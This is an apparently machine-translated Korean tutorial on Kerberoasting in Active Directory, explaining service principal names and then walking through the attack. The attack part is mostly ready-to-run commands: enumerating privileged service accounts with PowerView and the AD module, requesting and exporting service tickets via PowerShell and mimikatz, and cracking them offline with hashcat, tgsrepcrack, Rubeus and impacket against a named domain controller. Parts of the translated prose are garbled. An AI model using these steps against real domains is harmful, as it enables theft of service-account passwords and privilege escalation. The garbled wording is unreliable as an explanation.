Kerberos 프로토콜의 Kerberrosting 및 SPN
9653 단어 Kerberos
그래서 본고는 Kerberonasting과 spn을 소개한다.
SPN 소개
SPN은 서버에서 실행되는 서비스의 고유한 플래그이며, Kerberos를 사용하는 모든 서비스에는 하나의 SPN이 필요합니다.
SPN은 두 가지로 나뉘는데, 한 가지 레지스트리는 AD의 시스템 계정 아래에 있고, 다른 한 가지 레지스트리는 지역 사용자 계정(Users) 아래에 있다.
이 서비스의 권한이 Local System 또는 Network Service이면 SPN은 시스템 계정에 기재됩니다.
이 서비스는 영역 사용자로 제한되며 SPN은 영역 사용자(Users)에 등록됩니다.
SPN 형식
serviceclass/host:port/servicename
setspn -A MSSQLSvc/DM.test.local:1433 sqladmin
메모판인 MSSQLSvc라는 SPN을 통해 다른 것을 sqladmin이라는 인터페이스 계정에 분배한다
SPN 문의
spn 조회는 사실ldap 프로토콜을 통해 조회됩니다. 그 전에 사용자나 기계 계정이어야 합니다.
setspn -q */*
setspn -T test.local -q */*

CN=Users는 도메인 계정의 SPN이고, CN=Computers는 기계 계정입니다.
구역 내 임의의 호스트가 SPN을 조회할 수 있고 여러 구역에서 TGS 어음을 신청할 수 있다.그리고 우리는 이 선택 구역 사용자에 따라 폭파를 진행했다. 왜냐하면 영리한 구령으로는 원격 링크를 할 수 없기 때문이다.
그러면 Kerberrosting의 생각은 다음과 같다.
1. SPN을 조사하여 Users에서 높은 권한을 가진 사용자를 찾는 서비스
2. TGS를 함께 내보내기
폭파
이용 방법
가치 있는 SPN 찾기
Powerview 사용
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last

Powerrshell 모듈 Active Directory 사용
도메인 제어 파워실에만
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

삼호학생 부감독이 할 수 있는https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
import-module .\Microsoft.ActiveDirectory.Management.dll
kerberost 사용powershell: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
매개변수는 다음과 같습니다.
cscript GetUserSPNs.vbs

TGS 요청
지정 서비스의 tgs
$SPNName = 'MSSQLSvc/DM.test.local'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

모든 서비스의 tgs
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
TGS 내보내기kerberos::list /export
TGS 해결./tgsrepcrack.py wordlist.txt test.kirbi
Invoke-Kerberoastmimikatz가 필요하지 않아서hash를hashcat로 직접 인도해서 해독할 수 있습니다.
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl

hashcat
hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force
RubeusRubeus.exe kerberoast
impacketpython .\GetUserSPNs.py -request -dc-ip 172.16.33.3 -debug test.local/jack

해시캣 그냥 뛰어.
참고 자료
Reference
이 문제에 관하여(Kerberos 프로토콜의 Kerberrosting 및 SPN), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/Y4er/items/f6970da47365f6a5dfeb텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)